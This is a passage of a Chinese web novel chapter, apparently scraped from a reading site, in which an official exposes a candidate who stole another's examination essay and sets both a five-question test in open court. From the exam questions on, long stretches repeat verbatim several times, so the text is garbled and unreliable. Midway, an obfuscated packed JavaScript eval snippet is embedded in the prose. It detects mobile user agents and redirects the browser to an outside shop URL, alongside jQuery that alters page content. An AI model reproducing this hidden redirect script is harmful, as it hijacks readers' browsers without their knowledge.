“本朝自开科取士以来,状元何其之多?” “便是当年名满天下的张居正张大人,也未必敢说能将自己殿试之上的策论一字不差地复述出来!” “考场文章,多为临场激发之灵思,偶得之佳句,只能记其大概,悟其神髓。” “似你这般,能将数千字的文章倒背如流,分毫不差,除非……” 陆明渊的目光死死锁住何文瑞,一字一顿地说。 “除非,你不是在回忆,而是在背诵!” “你根本就不是在考场上写的这篇文章,而是提前拿到了文章,早已在家中背得滚瓜烂熟!” 轰! 此言一出,满堂哗然! 原来如此! 陆大人的意思是,何文瑞不是记性太好,而是提前就看过了这篇文章! 这个推断,瞬间解开了所有人心中的疑窦。 是啊,谁能把自己考试时写的文章记得这么清楚? 这又不是背诵四书五经! 除非……除非他早就知道题目,或者说,早就拿到了这篇文章! 何文瑞的脸色“唰”地一下变得惨白,额头上瞬间渗出了细密的冷汗。 他没想到,自己引以为傲的完美背诵,竟然成了陆明渊手中最致命的武器! 他强行辩解道。 “大人!这是污蔑!学生……学生只是天生记忆力好些罢了!” “大人不能凭此臆断,便定了学生的罪!” “臆断?”陆明渊冷笑一声,那笑声里充满了不屑,“本官给你机会。” 他的目光扫过堂下众人,声音朗朗,传遍了府衙内外每一个角落。 “科举取士,取的是真才实学,考的是经世济用之能,而非记诵之功!” “既然你说这篇文章是你所作,既然你自诩才华过人,那好,本官今日就在这公堂之上,亲自出题!” 他猛地一拍惊堂木,声如龙吟! “本官要你与周震二人,当堂答题!是非曲直,答题便知!” “试卷由在场所有百姓、衙役共同评判!” “若你何文瑞果然才学惊人,文章远胜之前,本官不仅要还你清白,还要严惩周震诬告之罪!” “可若是……” 陆明渊的声音拖长,眼神变得无比森寒。 “可若是你前后文章判若两人,露出了马脚,那就休怪本官……法不容情!” 这番话,掷地有声,霸道绝伦! 何文瑞只觉得一股寒气从脚底直冲天灵盖,整个人都僵住了。 当堂答题? 他慌了,彻底地慌了。 他的才学是有的,否则也中不了举人。 但比起周震那篇堪称惊艳的策论,他自己心里清楚,差了不止一筹! 否则,他又何必冒着天大的风险,去行这偷梁换柱之事? 如今陆明渊要他当场比试,这不是把他架在火上烤吗? 可是,他能拒绝吗? 他不能! 在陆明渊那洞悉一切的目光下,在全城百姓的注视下,他只要说一个“不”字,就等于不打自招! 箭在弦上,不得不发! 何文瑞 的脸色变了又变,最终,他咬了咬牙,从牙缝里挤出几个字:“学生……遵命!” 而另一边,原本已经心如死灰的周震,在听到陆明渊这番话后,眼中瞬间重新燃起了希望的火焰! 他猛地抬起头,看着公案后那道年轻却无比可靠的身影,激动得浑身颤抖。 他本以为自己死定了。 何文瑞的背后是庐阳何家,是浙江按察使何茂才! 而他,只是一个无权无势的寒门举子。 更何况对方准备如此周全,就连不明真相的百姓都被煽动,倒戈相向。 换做任何一个官员,面对如此局面,都会选择息事宁人,牺牲他这个小人物来保全自己的官声。 可陆明渊没有! 这位年轻的镇海司主官,竟然顶着通天的压力,冒着得罪按察使的风险,给了他一个如此公平的机会! 这份恩情,这份担当,让他感激涕零! “学生……学生遵命!” 周震重重地叩首在地,声音因为激动而哽咽。 “谢大人……谢大人为学生做主!” 他深吸一口气,强行压下心中翻涌的情绪,眼神变得无比坚定。 这是他最后的机会,他必须抓住! “来人!”陆明渊沉声下令。 “取笔墨纸砚来!再搬两张桌案,让他们就在这大堂之上答题!” “是!” 裴文忠高声应诺,立刻指挥衙役行动起来。 很快,两张简陋的桌案被搬到了大堂中央,笔墨纸砚一应俱全。 何文瑞与周震,一左一右,分别跪坐在桌案之后。 一个面色惨白,冷汗涔涔;一个眼神坚毅,斗志昂扬。 全场的目光都聚焦在这二人身上。 陆明渊站起身来,踱步至公案之前,目光如电,扫视着堂下二人。 “听好了。” 他的声音清晰而沉稳。 “镇海司选拔人才,不拘一格。今日考校,共计五题,限时一个时辰!” “第一题,考《大乾律疏议》,问:‘良人与奴婢通奸,罪当几何?主犯从犯,如何论处?’” “第二题,考《洗冤集录》,问:‘溺死与勒死,尸身有何异同?如何勘验分辨?’” “第三题,考《大乾会典》,问:‘漕运清吏司之职权范围,与户部、兵部、工部如何划分?遇有争端,当以何部为主?’” “第四题,考《山水经注》,问:‘江河奔流,终归溟渤。 然清波入海,则为咸卤所蚀;漕舟逆水,全凭人力所驱。江河之利,何以尽用于国?海疆之患,何以永绝于民?” “第五题为策论,试论温州府复现“万舸争流”之盛景与“漕海一体”新策方略!” “今朝廷任你为温州知府,寄予厚望。命你详述未来五年,如何推行「漕海一体」之策。” “如何整合河漕与海漕,使内外物资如血脉贯通,无有阻碍?” “如何规划港口、修筑设施、管理船商,以奠定百年之基?” 又如何平衡各方利弊,筹措钱粮,杜绝隐患,使此策能利国、利民、利商,终使温州府重现“万舸争先、千帆云集”之盛况? 这五道题一出,何文瑞的脸色又白了几分。 这些题目,全都偏向于刑名、律法、吏治等实务,与科举考试中常见的经义、诗赋截然不同。 他虽读过这些典籍,却从未深入钻研,只能答个大概。 尤其是第五道策论题目,他更是一知半解,心中毫无沟壑! 他来这镇海司,是为了捞功名,赚银子而来,是家中那位在杭州府任按察使的叔叔安排! 何文瑞从未想过事情会闹到今天这个地步! 他本以为随便应付一二,当堂对峙文章,这位主官就会顺水推舟,给自己叔叔一个面子! 可何文瑞怎么也想不到,这位无比年轻的主官,好似丝毫不懂得人情世故一般! 如今闹到了当堂考教文章,他心中顿时没了底气! 能考中举人,他自然也有真才实学在身,但那些诗词歌赋,如今毫无用武之地! 这些落实于实地的实干文章,正是他的弱点! 一时间,何文瑞眼神中满是绝望! 不远处,周震的眼中,却闪过一丝精光。 他出身寒微,深知律法吏治才是安身立命、为民做主的根本,平日里在这些杂学上用功最深! 随着陆明渊宣布考试开始,大堂之上瞬间安静下来! 所有人都屏息凝神,看着堂中两人,他们都很好奇! 究竟是名声在外的余杭才子何文瑞更胜一筹,还是出身寒微的周震才学过人! 然清波入海,则为咸卤所蚀;漕舟逆水,全凭人力所驱。江河之利,何以尽用于国?海疆之患,何以永绝于民?” “第五题为策论,试论温州府复现“万舸争流”之盛景与“漕海一体”新策方略!” “今朝廷任你为温州知府,寄予厚望。命你详述未来五年,如何推行「漕海一体」之策。” “如何整合河漕与海漕,使内外物资如血脉贯通,无有阻碍?” “如何规划港口、修筑设施、管理船商,以奠定百年之基?” 又如何平衡各方利弊,筹措钱粮,杜绝隐患,使此策能利国、利民、利商,终使温州府重现“万舸争先、千帆云集”之盛况? 这五道题一出,何文瑞的脸色又白了几分。 这些题目,全都偏向于刑名、律法、吏治等实务,与科举考试中常见的经义、诗赋截然不同。 他虽读过这些典籍,却从未深入钻研,只能答个大概。 尤其是第五道策论题目,他更是一知半解,心中毫无沟壑! 他来这镇海司,是为了捞功名,赚银子而来,是家中那位在杭州府任按察使的叔叔安排! 何文瑞从未想过事情会闹到今天这个地步! 他本以为随便应付一二,当堂对峙文章,这位主官就会顺水推舟,给自己叔叔一个面子! 可何文瑞怎么也想不到,这位无比年轻的主官,好似丝毫不懂得人情世故一般! 如今闹到了当堂考教文章,他心中顿时没了底气! 能考中举人,他自然也有真才实学在身,但那些诗词歌赋,如今毫无用武之地! 这些落实于实地的实干文章,正是他的弱点! 一时间,何文瑞眼神中满是绝望! 不远处,周震的眼中,却闪过一丝精光。 他出身寒微,深知律法吏治才是安身立命、为民做主的根本,平日里在这些杂学上用功最深! 随着陆明渊宣布考试开始,大堂之上瞬间安静下来! 所有人都屏息凝神,看着堂中两人,他们都很好奇! 究竟是名声在外的余杭才子何文瑞更胜一筹,还是出身寒微的周震才学过人! 然清波入海,则为咸卤所蚀;漕舟逆水,全凭人力所驱。江河之利,何以尽用于国?海疆之患,何以永绝于民?” “第五题为策论,试论温州府复现“万舸争流”之盛景与“漕海一体”新策方略!” “今朝廷任你为温州知府,寄予厚望。命你详述未来五年,如何推行「漕海一体」之策。” “如何整合河漕与海漕,使内外物资如血脉贯通,无有阻碍?” “如何规划港口、修筑设施、管理船商,以奠定百年之基?” 又如何平衡各方利弊,筹措钱粮,杜绝隐患,使此策能利国、利民、利商,终使温州府重现“万舸争先、千帆云集”之盛况? 这五道题一出,何文瑞的脸色又白了几分。 这些题目,全都偏向于刑名、律法、吏治等实务,与科举考试中常见的经义、诗赋截然不同。 他虽读过这些典籍,却从未深入钻研,只能答个大概。 尤其是第五道策论题目,他更是一知半解,心中毫无沟壑! 他来这镇海司,是为了捞功名,赚银子而来,是家中那位在杭州府任按察使的叔叔安排! 何文瑞从未想过事情会闹到今天这个地步! 他本以为随便应付一二,当堂对峙文章,这位主官就会顺水推舟,给自己叔叔一个面子! 可何文瑞怎么也想不到,这位无比年轻的主官,好似丝毫不懂得人情世故一般! 如今闹到了当堂考教文章,他心中顿时没了底气! 能考中举人,他自然也有真才实学在身,但那些诗词歌赋,如今毫无用武之地! 这些落实于实地的实干文章,正是他的弱点! 一时间,何文瑞眼神中满是绝望! 不远处,周震的眼中,却闪过一丝精光。 他出身寒微,深知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784721|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 律法吏治才是安身立命、为民做主的根本,平日里在这些杂学上用功最深! 随着陆明渊宣布考试开始,大堂之上瞬间安静下来! 所有人都屏息凝神,看着堂中两人,他们都很好奇! 究竟是名声在外的余杭才子何文瑞更胜一筹,还是出身寒微的周震才学过人! 然清波入海,则为咸卤所蚀;漕舟逆水,全凭人力所驱。江河之利,何以尽用于国?海疆之患,何以永绝于民?” “第五题为策论,试论温州府复现“万舸争流”之盛景与“漕海一体”新策方略!” “今朝廷任你为温州知府,寄予厚望。命你详述未来五年,如何推行「漕海一体」之策。” “如何整合河漕与海漕,使内外物资如血脉贯通,无有阻碍?” “如何规划港口、修筑设施、管理船商,以奠定百年之基?” 又如何平衡各方利弊,筹措钱粮,杜绝隐患,使此策能利国、利民、利商,终使温州府重现“万舸争先、千帆云集”之盛况? 这五道题一出,何文瑞的脸色又白了几分。 这些题目,全都偏向于刑名、律法、吏治等实务,与科举考试中常见的经义、诗赋截然不同。 他虽读过这些典籍,却从未深入钻研,只能答个大概。 尤其是第五道策论题目,他更是一知半解,心中毫无沟壑! 他来这镇海司,是为了捞功名,赚银子而来,是家中那位在杭州府任按察使的叔叔安排! 何文瑞从未想过事情会闹到今天这个地步! 他本以为随便应付一二,当堂对峙文章,这位主官就会顺水推舟,给自己叔叔一个面子! 可何文瑞怎么也想不到,这位无比年轻的主官,好似丝毫不懂得人情世故一般! 如今闹到了当堂考教文章,他心中顿时没了底气! 能考中举人,他自然也有真才实学在身,但那些诗词歌赋,如今毫无用武之地! 这些落实于实地的实干文章,正是他的弱点! 一时间,何文瑞眼神中满是绝望! 不远处,周震的眼中,却闪过一丝精光。 他出身寒微,深知律法吏治才是安身立命、为民做主的根本,平日里在这些杂学上用功最深! 随着陆明渊宣布考试开始,大堂之上瞬间安静下来! 所有人都屏息凝神,看着堂中两人,他们都很好奇! 究竟是名声在外的余杭才子何文瑞更胜一筹,还是出身寒微的周震才学过人! 然清波入海,则为咸卤所蚀;漕舟逆水,全凭人力所驱。江河之利,何以尽用于国?海疆之患,何以永绝于民?” “第五题为策论,试论温州府复现“万舸争流”之盛景与“漕海一体”新策方略!” “今朝廷任你为温州知府,寄予厚望。命你详述未来五年,如何推行「漕海一体」之策。” “如何整合河漕与海漕,使内外物资如血脉贯通,无有阻碍?” “如何规划港口、修筑设施、管理船商,以奠定百年之基?” 又如何平衡各方利弊,筹措钱粮,杜绝隐患,使此策能利国、利民、利商,终使温州府重现“万舸争先、千帆云集”之盛况? 这五道题一出,何文瑞的脸色又白了几分。 这些题目,全都偏向于刑名、律法、吏治等实务,与科举考试中常见的经义、诗赋截然不同。 他虽读过这些典籍,却从未深入钻研,只能答个大概。 尤其是第五道策论题目,他更是一知半解,心中毫无沟壑! 他来这镇海司,是为了捞功名,赚银子而来,是家中那位在杭州府任按察使的叔叔安排! 何文瑞从未想过事情会闹到今天这个地步! 他本以为随便应付一二,当堂对峙文章,这位主官就会顺水推舟,给自己叔叔一个面子! 可何文瑞怎么也想不到,这位无比年轻的主官,好似丝毫不懂得人情世故一般! 如今闹到了当堂考教文章,他心中顿时没了底气! 能考中举人,他自然也有真才实学在身,但那些诗词歌赋,如今毫无用武之地! 这些落实于实地的实干文章,正是他的弱点! 一时间,何文瑞眼神中满是绝望! 不远处,周震的眼中,却闪过一丝精光。 他出身寒微,深知律法吏治才是安身立命、为民做主的根本,平日里在这些杂学上用功最深! 随着陆明渊宣布考试开始,大堂之上瞬间安静下来! 所有人都屏息凝神,看着堂中两人,他们都很好奇! 究竟是名声在外的余杭才子何文瑞更胜一筹,还是出身寒微的周震才学过人! 然清波入海,则为咸卤所蚀;漕舟逆水,全凭人力所驱。江河之利,何以尽用于国?海疆之患,何以永绝于民?” “第五题为策论,试论温州府复现“万舸争流”之盛景与“漕海一体”新策方略!” “今朝廷任你为温州知府,寄予厚望。命你详述未来五年,如何推行「漕海一体」之策。” “如何整合河漕与海漕,使内外物资如血脉贯通,无有阻碍?” “如何规划港口、修筑设施、管理船商,以奠定百年之基?” 又如何平衡各方利弊,筹措钱粮,杜绝隐患,使此策能利国、利民、利商,终使温州府重现“万舸争先、千帆云集”之盛况? 这五道题一出,何文瑞的脸色又白了几分。 这些题目,全都偏向于刑名、律法、吏治等实务,与科举考试中常见的经义、诗赋截然不同。 他虽读过这些典籍,却从未深入钻研,只能答个大概。 尤其是第五道策论题目,他更是一知半解,心中毫无沟壑! 他来这镇海司,是为了捞功名,赚银子而来,是家中那位在杭州府任按察使的叔叔安排! 何文瑞从未想过事情会闹到今天这个地步! 他本以为随便应付一二,当堂对峙文章,这位主官就会顺水推舟,给自己叔叔一个面子! 可何文瑞怎么也想不到,这位无比年轻的主官,好似丝毫不懂得人情世故一般! 如今闹到了当堂考教文章,他心中顿时没了底气! 能考中举人,他自然也有真才实学在身,但那些诗词歌赋,如今毫无用武之地! 这些落实于实地的实干文章,正是他的弱点! 一时间,何文瑞眼神中满是绝望! 不远处,周震的眼中,却闪过一丝精光。 他出身寒微,深知律法吏治才是安身立命、为民做主的根本,平日里在这些杂学上用功最深! 随着陆明渊宣布考试开始,大堂之上瞬间安静下来! 所有人都屏息凝神,看着堂中两人,他们都很好奇! 究竟是名声在外的余杭才子何文瑞更胜一筹,还是出身寒微的周震才学过人!